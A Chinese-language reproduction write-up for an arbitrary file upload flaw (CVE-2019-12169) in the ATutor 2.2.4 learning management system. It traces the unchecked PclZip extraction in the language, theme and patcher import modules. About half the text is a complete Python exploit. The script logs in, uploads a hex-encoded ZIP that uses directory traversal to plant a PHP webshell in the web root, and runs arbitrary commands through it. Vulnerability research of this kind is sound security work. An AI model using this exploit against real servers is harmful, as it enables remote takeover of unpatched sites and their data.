(CVE-2019-12169)ATutor学习内容管理系统 任意文件上传漏洞

一、漏洞简介

ATutor是ATutor团队的一套开源的基于Web的学习内容管理系统(LCMS)。该系统包括教学内容管理、论坛、聊天室等模块。Atutor与Claroline、 Moddle及Sakai号称为四大开源课程管理系统。

ATutor2.2.4语言导入功能处存在一处安全漏洞(CVE-2019-12169)。攻击者可利用该漏洞进行远程代码执行攻击。

经过分析发现,除了CVE-2019-1216所报道的语言导入功能外,ATutor在其他功能模块中也大量存在着相似的漏洞,本文会在后面针对这一点进行介绍。

二、漏洞影响

ATutor 2.2.4

三、复现过程

据漏洞披露可知,漏洞触发点存在于mods/_core/languages/language_import.php文件中

首先跟入language_import.php文件

PHP
<?php
/****************************************************************/
/* ATutor                                         */
/****************************************************************/
/* Copyright (c) 2002-2010                                      */
/* Inclusive Design Institute                                   */
/* http://atutor.ca                                     */
/*                                                              */
/* This program is free software. You can redistribute it and/or*/
/* modify it under the terms of the GNU General Public License  */
/* as published by the Free Software Foundation.            */
/****************************************************************/
// $Id$

define('AT_INCLUDE_PATH', '../../../include/');
require(AT_INCLUDE_PATH.'vitals.inc.php');
admin_authenticate(AT_ADMIN_PRIV_LANGUAGES);

require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguageEditor.class.php');
require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');

/* to avoid timing out on large files */
@set_time_limit(0);

$_SESSION['done'] = 1;

if (isset($_POST['submit_import'])){
    require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/RemoteLanguageManager.class.php');
    $remoteLanguageManager = new RemoteLanguageManager();
    $language_code = explode("_",$_POST['language']);
    $remoteLanguageManager->import($_POST['language']);
    header('Location: language_import.php');
    exit;
} else if (isset($_POST['submit']) && (!is_uploaded_file($_FILES['file']['tmp_name']) || !$_FILES['file']['size'])) {
    $msg->addError('LANG_IMPORT_FAILED');
} else if (isset($_POST['submit']) && !$_FILES['file']['name']) {
    $msg->addError('IMPORTFILE_EMPTY');
} else if (isset($_POST['submit']) && is_uploaded_file($_FILES['file']['tmp_name'])) {
    $languageManager->import($_FILES['file']['tmp_name']);
    header('Location: ./language_import.php');
    exit;
}

从language_import.php文件中35行起,可以发现文件上传相关代码

1.png

从上图红框中代码可知,此处代码块是对文件上传情况进行校验

在文件成功上传后,进入下一个if分支

2.png

在这个分支里,程序将调用\$languageManager->import方法对文件进行处理

继续跟入import方法,位于/mods/_core/languages/classes/LanguageManager.class.php文件中

PHP
// public
// import language pack from specified file
function import($filename) {
    global $languageManager, $msg;

    if(strstr($_FILES['file']['name'], 'master')){
        // hack to create path to subdir for imported github language packs
        $import_dir = str_replace(".zip", "", $_FILES['file']['name']).'/';
    } else if(isset($_POST['language'])){
        $import_dir = $_POST['language'].'-master/';
    }
    require_once(AT_INCLUDE_PATH.'classes/pclzip.lib.php');
    require_once(AT_INCLUDE_PATH.'../mods/_core/languages/classes/LanguagesParser.class.php');

    $import_path = AT_CONTENT_DIR . 'import/';
    $import_path_tmp = $import_path.$import_dir;
    $language_xml = @file_get_contents($import_path.'language.xml');
    $archive = new PclZip($filename);

    if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
        exit('Error : ' . $archive->errorInfo(true));
    }

在import方法中程序调用PclZip对压缩包进行处理

PHP
$archive = new PclZip($filename);

if ($archive->extract(   PCLZIP_OPT_PATH,    $import_path) == 0) {
    exit('Error : ' . $archive->errorInfo(true));
}

为了更好的理解import方法的执行流程,我们将会进行动态调试。首先构造一个poc.php

PHP
<?php phpinfo(); ?>

将这个poc.php打包为poc.zip

3.png

访问如下链接以进入上传页面

https://www.0-sec.org/ATutor/mods/_core/languages/language_import.php

4.png

在上传语言包页面中选择构造好的poc.zip并点击import按钮上传。当请求发送给后台服务器,程序执行到下图断点处

5.png

此时的\$import_path值为atutor应用的/content/import路径:"content/import/",程序调用PclZip的extract方法对压缩包进行解压。接下来我们介绍以下PclZip类

PclZip

PclZip是一个强大的压缩与解压缩zip文件的PHP类,PclZip library不仅能够压缩与解压缩Zip格式的文件;还能解压缩文档中的内容,同时也可以对现有的ZIP包进行添加或删除文件。

我们接下来看下import方法中是如何使用PclZip,见下图

6.png

程序创建了上传的zip压缩包的一个PclZip对象进行操作与控制,在解压过程中使用了extract方法。该方法中第一个参数是设置项,第二个是对应设置项的值

我们来看下PCLZIP_OPT_PATH设置项的作用

7.png

可见,PCLZIP_OPT_PATH设置项指定我们上传的zip文件解压目录为\$import_path参数对应的路径

解压成功后,poc.zip中内容出现在对应文件夹中

8.png

查看poc.php中的值,可以发现poc上传成功

9.png

访问如下地址,触发poc

10.png

除此之外,该应用几乎所有import接口,在后台都采用PclZip将上传的zip解压到对应目录中。然而这些操作无一例外的未对压缩包中的文件进行校验。下面举几个例子:

位于mods/_core/themes/import.php文件中的主题导入功能,代码如下:

PHP
/**
* Imports a theme from a URL or Zip file to Atutor
* @access  private
* @author  Shozub Qureshi
*/
function import_theme() {
    global $db;
    global $msg;

    if (isset($_POST['url']) && ($_POST['url'] != 'http://') ) {
        if ($content = @file_get_contents($_POST['url'])) {

    ⋮

    // unzip file and save into directory in themes
    $archive = new PclZip($_FILES['file']['tmp_name']);

    //extract contents to importpath/foldrname
    if (!$archive->extract($import_path)) {
        $errors = array('IMPORT_ERROR_IN_ZIP', $archive->errorInfo(true));
        clr_dir($import_path);
        $msg->addError($errors);
        header('Location: index.php'); 
        exit;
    }

可以发现这里也使用了extract方法将上传文件进行解压

来看一下导入主题功能对应的前端页面

11.png

这里页面与导入语音包的页面极其相似,只不过最终解压后存放的路径不同,不再是content/import/,而是themes/

在此处上传构造好的poc.zip,最终poc.php将会被解压到themes文件夹中

12.png

位于/mods/_standard/tests/question_import.php文件的问题导入功能

13.png

位于mods/_standard/patcher/index_admin.php文件的补丁导入功能

14.png

这些功能无一例外的存在着相似的漏洞

poc

CVE-2019-12169.py

#!/usr/bin/env python
#
# Exploit Title: ATutor 2.2.4 'language_import' Arbitrary File Upload / RCE [CVE-2019-12169]
# Date: 5/24/19
# Exploit Author: liquidsky (JMcPeters)
# Vendor Homepage: https://atutor.github.io/
# Software Link: https://sourceforge.net/projects/atutor/files/latest/download
# Version: 2.2.4
# Tested on: Windows 8 / Apache / MySQL (XAMPP)
# CVE : CVE-2019-12169
# Author Site: http://incidentsecurity.com/atutor-2-2-4-language_import-arbitrary-file-upload-rce/
#            : https://github.com/fuzzlove
#
# Description: ATutor 2.2.4 allows Arbitrary File Upload and Directory Traversal
# resulting in remote code execution via a ".." pathname in a ZIP archive to the mods/_core/languages/language_import.php (aka Import New Language) or mods/_standard/patcher/index_admin.php (aka Patcher) component.
#
# Greetz: wetw0rk, offsec ^^
#
# Notes: This application is no longer being maintained so there is no fix for this issue.

import sys, hashlib, requests
import urllib
requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)
import time


print "+-------------------------------------------------------------+"
print
print "- ATutor 2.2.4 Arbitrary File Upload / RCE [CVE-2019-12169]"
print
print "-          Discovery / PoC by liquidsky (JMcPeters) ^^"
print
print "+-------------------------------------------------------------+"

try:
#settings
    target   = sys.argv[1]
    username = sys.argv[2]
    password = sys.argv[3]
    commands = sys.argv[4]

except IndexError:

        print
    print "- usage: %s <target> <username> <password> <command>" % sys.argv[0]
    print "- Example: %s incidentsecurity.com admin mypassword 'whoami'" % sys.argv[0]
        print
    sys.exit()


# headers to upload zip
headers = {
    "Accept-Encoding": "gzip, deflate",
    "Referer": "http://" + target + "/ATutor/mods/_core/languages/language_import.php",
    "Connection": "close",
    "Content-Type": "multipart/form-data; boundary=---------------------------CVE201912169",
}

# Note: This was successfully tested against a windows install however it should work with linux.
# -----
# This will drop a shell on c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php
# using directory traversal.


# php file payload
data = ""
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x66\x69\x6c\x65\x22\x3b\x20\x66\x69"
data += "\x6c\x65\x6e\x61\x6d\x65\x3d\x22\x70\x6f\x63\x2e\x7a\x69\x70"
data += "\x22\x0d\x0a\x43\x6f\x6e\x74\x65\x6e\x74\x2d\x54\x79\x70\x65"
data += "\x3a\x20\x61\x70\x70\x6c\x69\x63\x61\x74\x69\x6f\x6e\x2f\x7a"
data += "\x69\x70\x0d\x0a\x0d\x0a\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x5c"
data += "\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70\x5c"
data += "\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73\x6b"
data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x03\x04\x14\x00\x00\x00\x08"
data += "\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00\x6a\x00"
data += "\x00\x00\x2c\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f"
data += "\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77\x77"
data += "\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73\x6b"
data += "\x79\x2e\x70\x68\x70\xb3\xb1\x2f\xc8\x28\x50\x48\x2d\x4b\xcc"
data += "\xd1\x50\xb2\xb7\x53\xd2\x4b\x4a\x2c\x4e\x35\x33\x89\x4f\x49"
data += "\x4d\xce\x4f\x49\xd5\x50\x72\x09\xcc\xf7\x02\x62\x8b\x00\x63"
data += "\xa7\xfc\x64\x67\xa7\x9c\x48\xa3\x8c\x32\x4f\x0f\xa7\x8c\x64"
data += "\x63\x3f\x83\x44\x0f\x2f\x43\x6f\xe7\xa0\xb4\x20\x83\xb0\xd0"
data += "\xf0\xca\x94\xe2\xc8\x70\xd3\xbc\x94\x70\xb7\xbc\xa8\xe0\x94"
data += "\x14\xef\x90\xe2\xf4\x80\x2a\x13\x3f\xe7\x74\x5b\x5b\x25\x4d"
data += "\x4d\x6b\x05\x7b\x3b\x00\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x80\x01\x00\x00\x00\x00\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e"
data += "\x5c\x2e\x2e\x5c\x2e\x2e\x5c\x2e\x2e\x2f\x78\x61\x6d\x70\x70"
data += "\x5c\x68\x74\x64\x6f\x63\x73\x5c\x6c\x69\x71\x75\x69\x64\x73"
data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x01\x02\x14\x03\x14\x00\x00"
data += "\x00\x08\x00\xa4\x00\xb8\x4e\xbb\xb9\x35\x2d\x6a\x00\x00\x00"
data += "\x6a\x00\x00\x00\x2c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
data += "\x00\x80\x01\xb4\x00\x00\x00\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e"
data += "\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x76\x61\x72\x2f\x77"
data += "\x77\x77\x2f\x68\x74\x6d\x6c\x2f\x6c\x69\x71\x75\x69\x64\x73"
data += "\x6b\x79\x2e\x70\x68\x70\x50\x4b\x05\x06\x00\x00\x00\x00\x02"
data += "\x00\x02\x00\xb4\x00\x00\x00\x68\x01\x00\x00\x00\x00\x0d\x0a"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43"
data += "\x56\x45\x32\x30\x31\x39\x31\x32\x31\x36\x39\x0d\x0a\x43\x6f"
data += "\x6e\x74\x65\x6e\x74\x2d\x44\x69\x73\x70\x6f\x73\x69\x74\x69"
data += "\x6f\x6e\x3a\x20\x66\x6f\x72\x6d\x2d\x64\x61\x74\x61\x3b\x20"
data += "\x6e\x61\x6d\x65\x3d\x22\x73\x75\x62\x6d\x69\x74\x22\x0d\x0a"
data += "\x0d\x0a\x49\x6d\x70\x6f\x72\x74\x0d\x0a\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d"
data += "\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x2d\x43\x56\x45\x32\x30\x31"
data += "\x39\x31\x32\x31\x36\x39\x2d\x2d\x0d\x0a"


#reverse shell url
shell = "http://" + target + "/liquidsky.php?language=" + commands

# Generate Hash
def gen_hash(passwd, token):
        m= hashlib.sha1()
        m.update(passwd + token)
        return m.hexdigest()

def we_can_get_jiggy_with_the_pass():

# Run pass through SHA1
     hash_object = hashlib.sha1(password)
     hex_dig = hash_object.hexdigest()
     print "[*] Got SHA1 for pass: " + (hex_dig)

     targeturl = "http://" + target + "/ATutor/login.php"
     token = "abc"
     hashed = gen_hash(hex_dig, token)
     d = {
         "form_password_hidden" : hashed,
         "form_login": "admin",
         "submit": "Login",
         "token" : token
     }
     s = requests.Session()

#Logging in
     r = s.post(targeturl, data=d)
     print "[+] Logging in to system as %s ..." % (username)
     res = r.text

# url settings, duh
     url = "http://" + target + "/ATutor/mods/_core/languages/language_import.php"

# A similar method works for the "patcher" function.
    # url = "http://" + target + "/ATutor/mods/_standard/patcher/index_admin.php"

# This is "the" request to send the zip     
     request = s.post(url, headers=headers, data=data, verify=False)
     print "[+] Sent the zip ......"
     time.sleep(1)

# Grab shell dude!
     print "[!] *** Remote Code Execution ***"
     request = s.post(shell, verify=False)
     print "[x] http://" + target + "/liquidsky.php?language=" + commands

# Note be sure to clean up: c:\xampp\htdocs\liquidsky.php and or /var/www/html/liquidsky.php

     if "Administration" in res:
         return True
     return False 

def main():
     if we_can_get_jiggy_with_the_pass():
         print ""
         print "[+] Success! we were able to login!"
         print ""
         print "  ^_~  got r00t?   - [liquidsky 2019]"
     else:         print "[-] failure!" 

if __name__ == "__main__":
     main()

参考链接

https://kumamon.fun/ATutor-CVE-2019-12169/

https://github.com/fuzzlove/ATutor-2.2.4-Language-Exploit